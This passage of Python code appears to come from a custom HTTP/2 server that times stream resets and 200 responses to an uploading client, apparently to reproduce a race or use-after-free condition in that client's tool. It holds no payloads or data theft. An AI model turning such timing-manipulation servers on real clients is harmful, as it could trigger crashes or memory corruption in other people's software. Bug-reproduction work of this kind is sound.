                    # attempt starts with a fresh request state and completes cleanly
                    t0 = time.monotonic()
                    while 't_latch' not in EV and time.monotonic() - t0 < 5: time.sleep(0.01)
                    time.sleep(float(os.environ.get("Z2_REFUSE_GAP", "0.2")))
                    c.rst(up, 7); answered = True; mlog(c, "conn%d: A#3 upload complete (%d bytes) -> RST_STREAM(REFUSED_STREAM) %.2fs after the latch; A#4 will go to a new connection" % (idx, n_body, time.monotonic() - EV.get('t_latch', t0)))
                else:
                    c.resp(up, 200, [("content-length", "3")], b"ok\n"); answered = True; EV['t_a3done'] = time.monotonic()
                    mlog(c, "conn%d: A#%d complete (%d bytes) -> answered 200; the tool will now free E_A; lingering" % (idx, idx + 1, n_body))
        elif isinstance(f, GoAwayFrame): mlog(c, "conn%d: client GOAWAY" % idx)
    mlog(c, "conn%d end closed=%s" % (idx, c.closed))